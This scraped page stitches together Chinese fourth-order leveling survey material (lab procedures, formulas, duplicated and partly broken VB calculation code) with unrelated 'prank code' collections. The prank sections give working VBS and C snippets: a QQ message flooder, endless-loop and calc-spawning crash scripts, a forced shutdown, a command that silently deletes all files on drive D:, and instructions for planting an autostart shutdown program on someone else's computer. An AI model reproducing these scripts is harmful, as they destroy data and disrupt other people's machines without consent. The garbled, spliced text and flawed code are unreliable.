四等水准测量VB 程序 代码
四等水准测量VB 程序
Private Sub Command1_Click()
Dim BBU As Single
Dim BBM As Single
Dim BBL As Single
Dim BRM As Single
Dim BK As Single
Dim FBU As Single
Dim FBM As Single
Dim FBL As Single
Dim FRM As Single
Dim FK As Single
BBU = Val(ltrim$(rtrim$(Text1.Text) ))
BBM = Val(ltrim$(rtrim$(Text2.Text) ))
BBL = Val(ltrim$(rtrim$(Text3.Text) ))
BRM = Val(ltrim$(rtrim$(Text4.Text) ))
BK = Val(ltrim$(rtrim$(Text9.Text) ))
FBU = Val(ltrim$(rtrim$(Text5.Text) ))
FBM = Val(ltrim$(rtrim$(Text6.Text) ))
FBL = Val(ltrim$(rtrim$(Text7.Text) ))
FRM = Val(ltrim$(rtrim$(Text8.Text) ))
FK = Val(ltrim$(rtrim$(Text10.Text) ))
bdh = (BBM - FBM) '黑面高差'
fdh = (BRM - FRM) '红面高差'
If BK > FK Then
fdh = fdh - 0.1
Else
fdh = fdh + 0.1
End If
If Abs((BBU - BBL) - (FBU - FBL)) * 100 > 3 Then MsgBox "前后视距较差超限"
Exit Sub '退出程序'
ElseIf Abs(BBM + BK - BRM) > 0.003 Then MsgBox "后视黑~红面读数较差超限"
Exit Sub '退出程序'
ElseIf Abs(FBM + FK - FRM) > 0.003 Then MsgBox "前视黑~红面读数较差超限"
Exit Sub '退出程序'
ElseIf Abs(bdh - fdh) > 0.005 Then
MsgBox "黑红面所测高差较差超限"
Exit Sub '退出程序'
Else
dh = Format((bdh + fdh) / 2, "0.0000") '计算高差'
MsgBox "测站高差="& Str$(dh) &”m”,vbokonly,”计算结果” End If
Dim hsjl As Single
Dim qsjl As Single
Dim qhsjc As Single
Dim qhsjljc As Single
Dim hchhmdsc As Single
Dim qchhmdsc As Single
Dim hmgc As Single
Dim hmgc1 As Single
Dim hhmgczc As Single
hsjl = (BBU - BBL) * 100
qsjl = (FBU - FBL) * 100
qhsjc = qsjl - hsjl
hchhmdsc = BBU - BRM
qchhmdsc = FBU - FRM
hmgc = BBM - FBM
hmgc1 = BRM - FRM
hhmgczc = hmgc - hmgc1
Text1.Text = Format(hsjl, "0.0000")
Text2.Text = Format(qsjl, "0.0000")
Text3.Text = Format(qhsjc, "0.0000")
Text4.Text = Format(qhsjljc, "0.0000")
Text5.Text = Format(hchhmdsc, "0.0000")
Text6.Text = Format(qchhmdsc, "0.0000")
Text7.Text = Format(hmgc, "0.0000")
Text9.Text = Format(hhmgczc, "0.0000")
Text8.Text = Format(hmgc1, "0.0000")
End Sub
Dim BBU As Single
Dim BBM As Single
Dim BBL As Single
Dim BRM As Single
Dim BK As Single
Dim FBU As Single
Dim FBM As Single
Dim FBL As Single
Dim FRM As Single
Dim FK As Single
Private Sub Combo1_Click()
Dim ReTxt As String
ReTxt = Combo1.ListIndex
BK = Combo1.List(ReTxt)
End Sub
Private Sub Combo2_Click()
Dim ReTxt As String
ReTxt = Combo2.ListIndex
FK = Combo2.List(ReTxt)
End Sub
Private Sub Command1_Click()
BBU = Val(LTrim$(RTrim$(Text1.Text))) BBM = Val(LTrim$(RTrim$(Text2.Text))) BBL = Val(LTrim$(RTrim$(Text3.Text))) BRM = Val(LTrim$(RTrim$(Text4.Text)))
FBU = Val(LTrim$(RTrim$(Text5.Text))) FBM = Val(LTrim$(RTrim$(Text6.Text))) FBL = Val(LTrim$(RTrim$(Text7.Text))) FRM = Val(LTrim$(RTrim$(Text8.Text)))
Dim BBU As Single
Dim BBM As Single
Dim BBL As Single
Dim BRM As Single
Dim BK As Single
Dim FBU As Single
Dim FBM As Single
Dim FBL As Single
Dim FRM As Single
Dim FK As Single
Private Sub Combo1_Click()
Dim ReTxt As String
ReTxt = Combo1.ListIndex
BK = Combo1.List(ReTxt)
End Sub
Private Sub Combo2_Click()
Dim ReTxt As String
ReTxt = Combo2.ListIndex
FK = Combo2.List(ReTxt)
End Sub
Private Sub Command1_Click()
BBU = Val(LTrim$(RTrim$(Text1.Text)))
BBM = Val(LTrim$(RTrim$(Text2.Text)))
BBL = Val(LTrim$(RTrim$(Text3.Text)))
BRM = Val(LTrim$(RTrim$(Text4.Text)))
FBU = Val(LTrim$(RTrim$(Text5.Text)))
FBM = Val(LTrim$(RTrim$(Text6.Text)))
FBL = Val(LTrim$(RTrim$(Text7.Text)))
FRM = Val(LTrim$(RTrim$(Text8.Text)))
bdh = (BBM - FBM) '黑面高差'
fdh = (BRM - FRM) '红面高差'
If BK > FK Then
fdh = fdh - 100
Else
fdh = fdh + 100
End If
If Abs((BBU - BBL) - (FBU - FBL)) * 0.1 > 3 Then MsgBox "前后视距较差超限"
Exit Sub '退出程序'
ElseIf Abs(BBM + BK - BRM) > 3 Then MsgBox "后视黑~红面读数较差超限"
Exit Sub '退出程序'
ElseIf Abs(FBM + FK - FRM) > 3 Then MsgBox "前视黑~红面读数较差超限"
Exit Sub '退出程序'
ElseIf Abs(bdh - fdh) > 5 Then
MsgBox "黑红面所测高差较差超限"
Exit Sub '退出程序'
Else
dh = Format((bdh + fdh) / 2, "0.0000") '计算高差' Text10.Text = dh / 1000
End If
End Sub
Private Sub Command2_Click()
Text1.Text = ""
Text2.Text = ""
Text3.Text = ""
Text4.Text = ""
Text5.Text = ""
Text6.Text = ""
Text7.Text = ""
Text8.Text = ""
Text9.Text = ""
Text10.Text = ""
Text1.SetFocus
End Sub
四等水准测量(双面尺法)方法与步骤
实践二四等水准测量（双面尺法） 一、目的和要求 （1）进一步熟练水准仪的操作，掌握用双面水准尺进行四等水准测量的观测、记录与计算方法。 （2）熟悉四等水准测量的主要技术指标，掌握测站及线路的检核方法。 四等水准测量技术要求： 二、仪器和工具 DS3水准仪1台，双面水准尺2支，尺垫2个，记录板1块。 三、方法与步骤 1、了解四等水准测量的方法 双面尺法四等水准测量是在小地区布设高程控制网的常用方法，是在每个测站上安置一次水准仪，但分别在水准尺的黑、红两面刻划上读数，可以测得两次高差，进行测站检核。除此以外，还有其他一系列的检核。 2、四等水准测量的实验 （1）从某一已知高程水准点出发，选定一条闭合水准路线，设置4站，如图所示。 （2）安置水准仪的测站至前、后视立尺点的距离，应该用步测使其相等。在每一测站，按下列顺序进行观测：
后视水准尺黑色面，读上、下丝读数，精平，读中丝读数； 前视水准尺黑色面，读上、下丝读数，精平，读中丝读数； 前视水准尺红色面，精平，读中丝读数； 后视水准尺红色面，精平，读中丝读数 （3）记录者在“四等水准测量记录”表中按表头表明次序⑴~⑻记录各个读数，⑼~ ⒃为计算结果： 后视距离(15)=100×{ ⑴-⑵ } 前视距离(16)=100×{ ⑷-⑸ } 视距之差(17)=(15)-(16) ∑视距差(18)=上站(18)+本站(17) 红黑面差(9)=⑹+K-⑺，（K=4.687或4.787） (10)=⑶+K-⑻ 黑面高差(11)=⑶-⑹ 红面高差(12)=⑻-⑺ 高差之差(13)=(11)-[(12)±0.1] 平均高差(14)=1/2{ (11)+(12) } 每站读数结束( ⑴~⑻ )，随即进行各项计算( ⑼~(18) )，并按技术指标进行检验，满足限差后方能搬站。 （4）依次设站，用相同方法进行观测，直到线路终点，计算线路的高差闭合差。按四等水准测量的规定，线路高差闭合差的容许值为±20√L mm ，L 为线路总长（单位：km ）。 四、注意事项 （1）四等水准测量比工程水准测量有更严格的技术规定，要求达到更高的精度，其关键在于：前后视距相等（在限差以内）；从后视转为前视（或相反）望远镜不能重新调焦；水准尺应完全竖直，最好用附有圆水准器的水准尺。 （2）每站观测结束，已经立即进行计算和进行规定的检核，若有超限，则应重测该站。全线路观测完毕，线路高差闭合差在容许范围以内，方可收测，结束实验。 四等水准测量规定的高差闭合差规定为：允=h f 式中，L 为水准路线长度，以km 为单位。 五、应交成果 经过各项检核计算后的“四等水准测量记录”表。
四等水准测量的实习报告
四等水准测量的实习报告 一．实习的目的和要求 目的： （1）进一步熟练水准仪的操作，掌握用双面水准尺进行四等水准测量的观测、记录与计算方法。 （2）熟悉四等水准测量的主要技术指标，掌握测站及线路的检核方法。 要求： 四等水准测量技术要求 二．仪器和工具 DS3水准仪1台，双面水准尺2支，尺垫2个，记录板2块. 三．实验步骤 1.了解四等水准测量的方法 双面尺法四等水准测量是在小地区布设高程控制网的常用方法，是在每个测量站上安置一次水准仪，但分别在水准尺的黑、红两面刻划上读数，可以测得两次高差，进行测站检核。除此以外，还有其他一系列的检核。 2.四等水准测量的实验 （1）从某一已知高程水准点出发，选定一条闭合水准路线，设置4站。 （2）安置水准仪的测站至前、后视立尺点的距离，应该用步测使其相等。 在每一测站，按下列顺序进行观测： ① 后视水准尺黑面，读取上、下视距丝读数，精平，读取中丝读数； ② 前视水准尺黑面，读取上、下视距丝读书，精平，读取中丝读数； ③ 前视水准尺红面，精平，读取中丝读数； ④ 后视水准尺红面，精平，读取中丝读数。 （3）记录着在“四等水准测量记录”表中按表头表明次序（1）～（8）记录各个读数，（9）～（10）为计算结果：
后视距离：(9)=100×{(1)-(2)} 前视距离：(10)=100×{(4)-(5)} 前、后视距之差：(11)=(9)-(10) 前、后视距离累积差（即Σ视距差）：(12)=上站(12)+本站(11) 红黑面差：（13）=（6）+K-（7）， （14）=（3）+K-（8），（K=4.687或4.787） 黑面高差：(15)=(3)-(6) 红面高差：(16)=(8)-(7) 红黑面高差之差：(17)=(15)-(16)=(14)-(13) 平均高差：（18）=1/2{（15）+（16）} 每站读数结束（（1）～（8）），随即进行各项计算（（9）～（16））， 并按技术指标进行检验，满足限差后方能搬站。 （4）依次设站，用相同方法进行观测，直到线路终点，计算线路的高差闭合差。按四等水准测量的规定，线路高差闭合差的容许值为 ±20√L mm,L为线路总长（单位：km）. 四．实习注意事项 （1）四等水准测量比工程水准测量有更严格的技术规定，要求达到更高的精度，其关键在于：前后视距相等（在限差以内）；从后视转为 前视（或相反）望远镜不能重新调焦；水准尺应完全竖直，最好用 附有圆水准器的水准尺。 （2）每站观测结束，立即进行计算和进行规定的检核，若有超限，则应重测该站。全线路观测完毕，线路高差闭合差在容许范围以内，方 可收测，结束实验。 四等水准测量规定的高差闭合差为：fh允=±20√L mm （式中，L为水准路线长度，以km为单位。） 五．实习心得 通过书本，我们知道了测量学是研究地球的形状和大小以及确定地面点位的科学。它的内容包括两部分，即测定和测设。测定是指使用测量仪器和工具，通过测量和计算，得到一系列测量数据或成果，将地球表面的地形缩绘成地形图，供经济建设、国防建设、规划设计及科学研究使用。 测设（放样）是指用一定的测量方法和精度，把设计图纸上规划设计好的建（构）筑物的平面位置和高程标定在实地上，作为施工的依据。
vbs整人代码大集合 多年的代码收集
vbs整人代码大集合，收集的比较全，喜欢的朋友可以参考下。不要搞破坏，学习vbs的朋友非常有帮助，死循环的使用比较多。 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> 复制代码代码如下: On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 ------------------------------------------------------------------------------ do msgbox "Y ou are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器，直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true ----------------------------------------------------------------------------- 五、删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
三四等水准测量步骤
三、四等水准测量 控制测量除了要完成平面控制测量外，还要进行高程控制测量。小区域地形测图或施工测量中，多采用三、四等水准测量作为高程控制测量的首级控制。 一、三、四等水准测量(leveling)的技术要求 1、高程系统：三、四等水准测量起算点的高程一般引自国家一、二等水准点，若测区附近没有国家水准点，也可建立独立的水准网，这样起算点的高程应采用假定高程。 2、布设形式：如果是作为测区的首级控制，一般布设成闭合环线；如果进行加密，则多采用附合水准路线或支水准路线。三、四等水准路线一般沿公路、铁路或管线等坡度较小、便于施测的路线布设。 3、点位的埋设：其点位应选在地基稳固，能长久保存标志和便于观测的地点，水准点的间距一般为1—1．5km，山岭重丘区可根据需要适当加密，一个测区一般至少埋设三个以上的水准点。 4、三、四等及五等水准测量的精度要求和技术要求列于表中。
二、三、四等水准测量的观测方法 三、四等水准测量观测应在通视良好、望远镜成像清晰及稳定的情况下进行。一般采用一对双面尺。 1、三等水准一个测站的观测步骤：（后-前-前-后；黑-黑-红-红） （1）照准后视尺黑面，精平，分别读取上、下、中三丝读数，并记为（1）、（2）、（3）。 （2）照准前视尺黑面，精平，分别读取上、下、中三丝读数，并记为（4）、（5）、（6）。 （3）照准前视尺红面，精平，读取中丝读数，记为（7） （4）照准后视尺红面，精平，读取中丝读数，记为（8） 这四步观测，简称为“后一前一前一后(黑一黑一红一红)”，这样的观测步骤可消除或减弱仪器或尺垫下沉误差的影响。对于四等水准测量，规范允许采用“后一后一前一前（黑一红一黑一红)”的观测步骤。
三四等水准测量计算
三、四等水准测量施测方法 1、一个测站上的观测顺序 （1）瞄准后视尺黑面，读取下丝、上丝读数； （2）瞄准后视尺红面，读取中丝读数； （3）瞄准前视尺黑面，读取下丝、上丝读数； （4）瞄准前视尺红面，令气泡重新准确符合，读取中丝读数。 以上四等水准每站观测顺序简称为后（黑）——后（红）——前（黑）——前（红）。对于三等水准测量，应按后（黑）——前（黑）——前（红）——后（红）的顺序进行观测。 2、测站上的计算及校核 （1）视距部分 后距＝［（1）项—（2）项］×100，记入第（9）项； 前距＝［（5）项—（6）项］×100，记入第（10）项； 后、前距差d＝（9）项—（10）项，记人第（11）项； 后、前距差累积值∑d＝本站（11）+前站（12），记入第（12）项。 四等水准测量记录
（2）高差部分 四等水准测量采用双面水准尺，因此应根据红、黑面读数进行下列校核计算： A、理论上讲，同一把水准尺的黑面读数十K值减去红面读数应为零。 即： 后视尺（3）项+K—（4）项＝（13）项； 前视尺（7）项+K—（8）项＝（14）项； 其中K为水准尺红、黑面起始读数的差值，系一常数值。在本例中47号尺的K＝4.787米；46号尺的K＝4.687米。由于测量有误差，（13）项和（14）项往往不为零，但其不符值不得超过±3毫米（三等水准不得超过±2毫米）。 B、理论上讲，用黑面尺测得的高差与用红面尺测得的高差应相等。 （3）项—（7）项＝（15）项（黑面尺高差）；
（4）项—（8）项＝（16）项（红面尺高差）。 因为两把尺的红面起始读数各为4.787米和4.687米，两者相差0.1米，所以理论上在（16）项上加或减去0.1米之后与（15）项之差应为零，但由于测量有误差，往往不为零，其不符值不得超过±5毫米（三等水准不得超过±3毫米），并记入第（17）项。 （17）项＝（15）项—［（16）项±0.1米］ 表中第（17）项除了检查用黑、红面测得的高差是否合乎要求外，同时也用作检查计算是否有误，这是因为： （17）项＝（15）项—［（16）项±0.1米］＝（13）项—（14）项 当以上计算合格后，再按下式计算出高差中数： 高差中数（18（（15）项+（16）项±0.1米）
c语言整人代码
C语言的自动关机程序和捉弄人的小程序 可以用C语言中的system()函数来实现系统的自动关机程序，可以设置多长时间后将自动关机。当然马上关机也是可以的，我们就可以恶搞别人计算机了（你事先得知道怎么解），将写好的自动关机程序复制到别人电脑，然后将可执行的 文件设为开机自动启动，别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序（这是很容易的），后果你一定能想到了吧~还可以改进一下，就是每次开机的时候让用户输入“我是猪”，不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩，比如“我爱你”、“我爱×××”之类，你觉得会有严重后果的就不要玩哦、 好啦，就说到这里，下面送上这两个程序的源代码。一个是自动关机程序，很简单，另一个是让用户输入“我是猪”不然就多长时间之后自动关机 源程序1： #include
{ system("shutdown -f -s -t 100"); Sleep(5000); system("shutdown -a"); return 0; } 这个程序5秒后就取消了自动关机了，自己人不整自己人~ 源程序2： #include
四等水准测量步骤简述
四等水准测量步骤简述 一、目的和要求 （1）进一步熟练水准仪的操作，掌握用双面水准尺进行四等水准测量的观测、记录与计算方法。 （2）熟悉四等水准测量的主要技术指标，掌握测站及线路的检核方法。 视线高度：三丝能读数；视线长度≤80m；前后视距差≤3m；前后视距累积差≤10m；红黑面读数差≤3mm ；红黑面高差之差≤5mm；观测次数：与已知点联测是往返各一次，闭合路线是往一次；附和或闭合路线闭合差往返较差：±20√L 二、水准测量原理 水准测量是利用水准仪提供的一条水平视线，对竖立的两观测点上的水准尺进行读数，来测定地面两点之间的高差，再由已知点推算出未知点的高程。如下图，欲测定A、B两点上的高差h，可在A、B两点上分别竖立水准尺，并在A、B两点之间安置一台水准仪。根据仪器的水平视线，在A尺上读数，设为a，在B尺上读数，设为b，则A、B两点之间的高差为 h=a-b 三、仪器和工具 水准仪1台，双面水准尺2支，尺垫2个 DS 3
四、方法与步骤 1、了解四等水准测量的方法 双面尺法四等水准测量是在小地区布设高程控制网的常用方法，是在每个测站上安置一次水准仪，但分别在水准尺的黑、红两面刻划上读数，可以测得两次高差，进行测站检核。除此以外，还有其他一系列的检核。 2、四等水准测量的实验 （1）从某一水准点出发，选定一条闭合水准路线。路线长度200~400米，设置4~6站，视线长度50m以内 （2）安置水准仪的测站至前、后视立尺点的距离，应该用步测使其相等。在每一测站，按下列顺序进行观测： 后视水准尺黑色面，读上、下丝读数，精平，读中丝读数； 前视水准尺黑色面，读上、下丝读数，精平，读中丝读数； 前视水准尺红色面，精平，读中丝读数； 后视水准尺红色面，精平，读中丝读数 （3）记录者在“四等水准测量记录”表中按表头表明次序⑴~⑻记录各个读数，⑼~ ⒃为计算结果： 后视距离⑼=100×{ ⑴-⑵ } 前视距离⑽=100×{ ⑷-⑸ } 视距之差⑾=⑼-⑽ 前、后视距累积差⑿=上站⑿+本站⑾ 前视尺黑红面读数差（13）=K前+（6）-（7） 后视尺黑红面读数差（14）=K后+（3）-（8） 红黑面差⒀=⑹+K-⑺，（K=4.687或4.787） ⒁=⑶+K-⑻ 黑面高差⒂=⑶-⑹ 红面高差⒃=⑻-⑺ 高差之差⒄=⒂-⒃=⒁-⒀±0.1 平均高差⒅=1/2{ ⒂+⒃ }
四等水准测量技术总结
四等水准测量技术总结 篇一：四等水准测量的实习报告 四等水准测量的实习报告 一．实习的目的和要求 目的： （1）进一步熟练水准仪的操作，掌握用双面水准尺进行四等水准测量的观测、 记录与计算方法。 （2）熟悉四等水准测量的主要技术指标，掌握测站及线路的检核方法。要求： 四等水准测量技术要求 二．仪器和工具 dS3水准仪1台，双面水准尺2支，尺垫2个，记录板2块. 三．实验步骤 1.了解四等水准测量的方法 双面尺法四等水准测量是在小地区布设高程控制网的常用方法，是在每个测量站上安置一次水准仪，但分别在水准尺的黑、红两面刻划上读数，可以测得两次高差，进行测站检核。除此以外，还有其他一系列的检核。 2.四等水准测量的实验
（1）从某一已知高程水准点出发，选定一条闭合水准路线，设置4站。 （2）安置水准仪的测站至前、后视立尺点的距离，应该用步测使其相等。 在每一测站，按下列顺序进行观测： ①后视水准尺黑面，读取上、下视距丝读数，精平，读取中丝读数； ②前视水准尺黑面，读取上、下视距丝读书，精平，读取中丝读数； ③前视水准尺红面，精平，读取中丝读数； ④后视水准尺红面，精平，读取中丝读数。 （3）记录着在“四等水准测量记录”表中按表头表明次序（1）～（8）记录各个读数，（9）～（10）为计算结果： 后视距离：(9)=100×{(1)-(2)} 前视距离：(10)=100×{(4)-(5)} 前、后视距之差：(11)=(9)-(10) 前、后视距离累积差（即Σ视距差）：(12)=上站(12)+本站(11) 红黑面差：（13）=（6）+K-（7）， （14）=（3）+K-（8），（K=4.687或4.787） 黑面高差：(15)=(3)-(6) 红面高差：(16)=(8)-(7) 红黑面高差之差：(17)=(15)-(16)=(14)-(13) 平均高差：（18）=1/2{（15）+（16）} 每站读数结束（（1）～（8）），随即进行各项计算（（9）～（16）），
愚人节整人网页代码
竭诚为您提供优质文档/双击可除 愚人节整人网页代码 篇一：整人“病毒”代码(一) 发表于20XX-10-2310:33 前段时间看到大家对这种整人的代码兴趣还挺浓厚的，我最近就收集了一些和大家分享。 ps：由于精力问题没有对代码的可用性进行一一验证，所以不保证全部可用，大家如果发现有不可用的或者需要改进的地方请提出来，以下代码仅供娱乐，请勿用于非法用途。 一、怎么点都没反应的桌面 如果同事的电脑开着，他离开电脑前一会，嘿嘿，机会来了。 把他的电脑桌面按print键截屏截下来，（当然QQ截屏也可以，不过效果不太逼真！）建议大家用print截屏，设置为桌面。 然后把原来在桌面上的文件统统移到一个盘的文件夹里，这样桌面看上去和平时一个样。他回来后狂点鼠标，却怎么都没有反应！现在还在关机,开机,关机,开机,关机,开
机中???? 附带：print键截屏方法： 键盘右上方的“printscreensysRq”键的作用是屏幕抓图！ 用法一，按“printscreensysRq”一下，对当前屏幕进行抓图，就是整个显示屏的内容。 用法二，先按住“Alt”键，再按“printscreensysRq”键，则是对当前窗口进行抓图。如你打开“我的电脑”后，用此法就抓取“我的电脑”窗口的内容。 用上诉两种方法抓图后，再打开“开始”、“附件”里的“画图”程序，点“编辑”、“粘贴”就把抓取的图片贴出来了，可以保存为自己需要的格式。哈哈，简单吧，这方法真挺搞的，有兴趣的童鞋可以试试！ 二、让电脑硬盘消失－隐藏磁盘方法 愚人节电脑整人使无端端地电脑磁盘的某个分区消失了，钻进地缝里面去了吗，给外星人抓走了？？非也！是某些人使坏将其隐藏起来了！ 步骤 1.新建一个记事本 2.将记事本的后缀改为.reg，就是将“新建文件.txt”改为“新建文件.reg” 3.将下面的代码复制到记事本当中：
三、四等水准测量(教材)
三、四等水准测量 三、四等水准测量所使用的水准仪，其精度应不低于DS 3型的精度指标。水准仪望远镜放大倍率应大于30倍，符合水准器的水准管分划值为20’’/2mm 。 三、四等水准测量的技术指标及观测要求参见表1。 表1 三、四等水准测量的技术指标及观测要求 注：表中L 、K 均表示路线长度，以Km 为单位。 一、 观测方法 三、三、四等水准测量主要采用双面水准尺观测法，除各种限差有所区别外，观测方法大同小异。 在每一测站上，首先安置仪器，如超限，则需移动前视尺或水准仪，以满足要求。然后按下列顺序进行观测，并计入三（四）等水准测量手簿中（表2）。 （1） 读取 视尺 面读数：下丝（1），上丝（2），中丝（3）。 （2） 读取 视尺 面读数：中丝（4），下丝（5），上丝（6）。 （3） 读取 视尺 面读数：中丝（7）。 （4） 读取 视尺 面读数：中丝（8）。 测得上述8个数据后，随即进行计算，如果符合规定要求，可以迁站继续施测；否则应重新观测，直至所测数据符合规定要求后，才能迁到下一站。
二、测站计算与校核 测站上的计算有下面几项（表2）。 1.视距部分 (9)= [(1)－(2)] × 100 （式中“100”为视距乘常数，下同） (10)= [(5)－(6)] × 100 (11)= (9)－(10) （绝对值不应超过2m） (12)= 本站的(11)＋前站的(12)（绝对值不应超过5m） 2.高差部分 (13) = K1＋(3)-(8)（绝对值不应超过2mm） (14) = K2＋(4)-(7)（绝对值不应超过2mm） 上两式中的K1和K2分别为两水准尺的黑、红面的起点读书差，亦称尺常数或起点差。表2观测所用双面（黑、红面）水准尺的尺常数为：K1=4.787m、K2=4.687m。尺常数的作用是检核黑、红面观测读数是否正确。 (16)= (3)－(4) (17)= (8)－(7) (15)=(16)-[(17)±0.100] = (13)－(14)（绝对值不应超过3mm） 由于两水准尺的红面起始读数相差0.100m，即4.787m与4.687m之差，因此，红面测得的实际高差应为(17)±0.100。取“＋”或取“－”应根据后、前视尺的K值来确定。 ＋(17) ±0.100]/2,作为该站测得的高差值。 表2为三等水准测量手簿，括号内的数字表示观测记录和计算校核的顺序。当整个水准路线测量完毕，应逐页校核计算有无错误，校核的方法是：
四等水准测量步骤
三、四等水准测量(2008-10-10 23:27:42) 标签：教育 三、四等水准测量 控制测量除了要完成平面控制测量外，还要进行高程控制测量。小区域地形测图或施工测量中，多采用三、四等水准测量作为高程控制测量的首级控制。 一、三、四等水准测量(leveling)的技术要求 1、高程系统：三、四等水准测量起算点的高程一般引自国家一、二等水准点，若测区附近没有国家水准点，也可建立独立的水准网，这样起算点的高程应采用假定高程。 2、布设形式：如果是作为测区的首级控制，一般布设成闭合环线；如果进行加密，则多采用附合水准路线或支水准路线。三、四等水准路线一般沿公路、铁路或管线等坡度较小、便于施测的路线布设。 3、点位的埋设：其点位应选在地基稳固，能长久保存标志和便于观测的地点，水准点的间距一般为1—1．5km，山岭重丘区可根据需要适当加密，一个测区一般至少埋设三个以上的水准点。 4、三、四等及五等水准测量的精度要求和技术要求列于表中。 二、三、四等水准测量的观测方法 三、四等水准测量观测应在通视良好、望远镜成像清晰及稳定的情况下进行。一般采用一对双面尺。 1、三等水准一个测站的观测步骤：（后-前-前-后；黑-黑-红-红） （1）照准后视尺黑面，精平，分别读取上、下、中三丝读数，并记为（1）、（2）、（3）。 （2）照准前视尺黑面，精平，分别读取上、下、中三丝读数，并记为（4）、（5）、（6）。 （3）照准前视尺红面，精平，读取中丝读数，记为（7） （4）照准后视尺红面，精平，读取中丝读数，记为（8） 这四步观测，简称为“后一前一前一后(黑一黑一红一红)”，这样的观测步骤可消除或减弱仪器或尺垫下沉误差的影响。对于四等水准测量，规范允许采用“后一后一前一前（黑一红一黑一红)”的观测步骤。 2、一个测站的计算与检核：
C 语言整人代码大全
C 语言整人代码大全WScript.Echo("嘿，谢谢你打开我哦，我等你很久 拉！"&TSName) WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉，这你都不知道吗？") 顶 举报| 2011-06-01 20:46回复 菊花爆开 电白自学 2楼 WScript.Echo("怎么才来，说~是不是不关心我") WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。") WScript.Echo("小强很生气，后果很严重哦。") WScript.Echo("嘿嘿！你也会很惨滴哦") WScript.Echo("是不是想清除我？") WScript.Echo("那你要点上50下哦，不过会给你惊喜滴") WScript.Echo("还剩49下，快点点哦") WScript.Echo("还剩48下，快点，小笨蛋！") WScript.Echo("还剩47下对，就这样快点点！") WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰 你工作。") WScript.Echo("还剩45下，记得要快哦！") WScript.Echo("还剩43下") WScript.Echo("还剩42下") WScript.Echo("还剩41下") WScript.Echo("还剩40下") WScript.Echo("还剩39下") WScript.Echo("还剩38下") WScript.Echo("还剩37下") WScript.Echo("还剩36下") WScript.Echo("还剩35下")
WScript.Echo("还剩34下") WScript.Echo("还剩33下") WScript.Echo("还剩32下") WScript.Echo("还剩30下") WScript.Echo("还剩29下") WScript.Echo("还剩28下") WScript.Echo("还剩27下") WScript.Echo("还剩26下") WScript.Echo("还剩25下") WScript.Echo("还剩24下") WScript.Echo("还剩23下") WScript.Echo("还剩22下") WScript.Echo("还剩21下") WScript.Echo("还剩20下") WScript.Echo("还剩19下") WScript.Echo("还剩18下") WScript.Echo("还剩17下") WScript.Echo("还剩16下") WScript.Echo("还剩15下") WScript.Echo("还剩14下") WScript.Echo("还剩13下停停！！！慢点，我有话要说") WScript.Echo("还剩12下，你继续点我就会消失滴") WScript.Echo("还剩11下，以后就看不到我拉。555555") WScript.Echo("还剩10下，你现在可以选择停止！") WScript.Echo("还剩9下。你还点啊，不要我拉？") WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家") WScript.Echo("还剩7下。疯了，你有点负意！") WScript.Echo("还剩6下。对。你就点吧，我恨你！") WScript.Echo("还剩5下，不明白，删除我你就好吗？") WScript.Echo("还剩4下！真要删除我？") WScript.Echo("还剩3下。可是我真的很眷恋你。。。") WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你 的！") WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无 义！！！") WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝 又给了一次机会。") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")
四等水准测量步骤
四等水准测量步骤 三、四等水准测量 (xx-10-1023:27:42) 三、四等水准测量控制测量除了要完成平面控制测量外，还要进行高程控制测量。小区域地形测图或施工测量中，多采用 三、四等水准测量作为高程控制测量的首级控制。 一、 三、四等水准测量(leveling)的技术要求 1、高程系统： 三、四等水准测量起算点的高程一般引自国家 一、二等水准点，若测区附近没有国家水准点，也可建立独立的水准网，这样起算点的高程应采用假定高程。 2、布设形式：如果是作为测区的首级控制，一般布设成闭合环线；如果进行加密，则多采用附合水准路线或支水准路线。 三、四等水准路线一般沿公路、铁路或管线等坡度较小、便于施测的路线布设。 3、点位的埋设：其点位应选在地基稳固，能长久保存标志和便于观测的地点，水准点的间距一般为1(2)]X100m 前视距(10)=[(4)(10) 三等≯3m，四等≯5m 前、后视距差累积 (12)=本站(11)+上站(12)
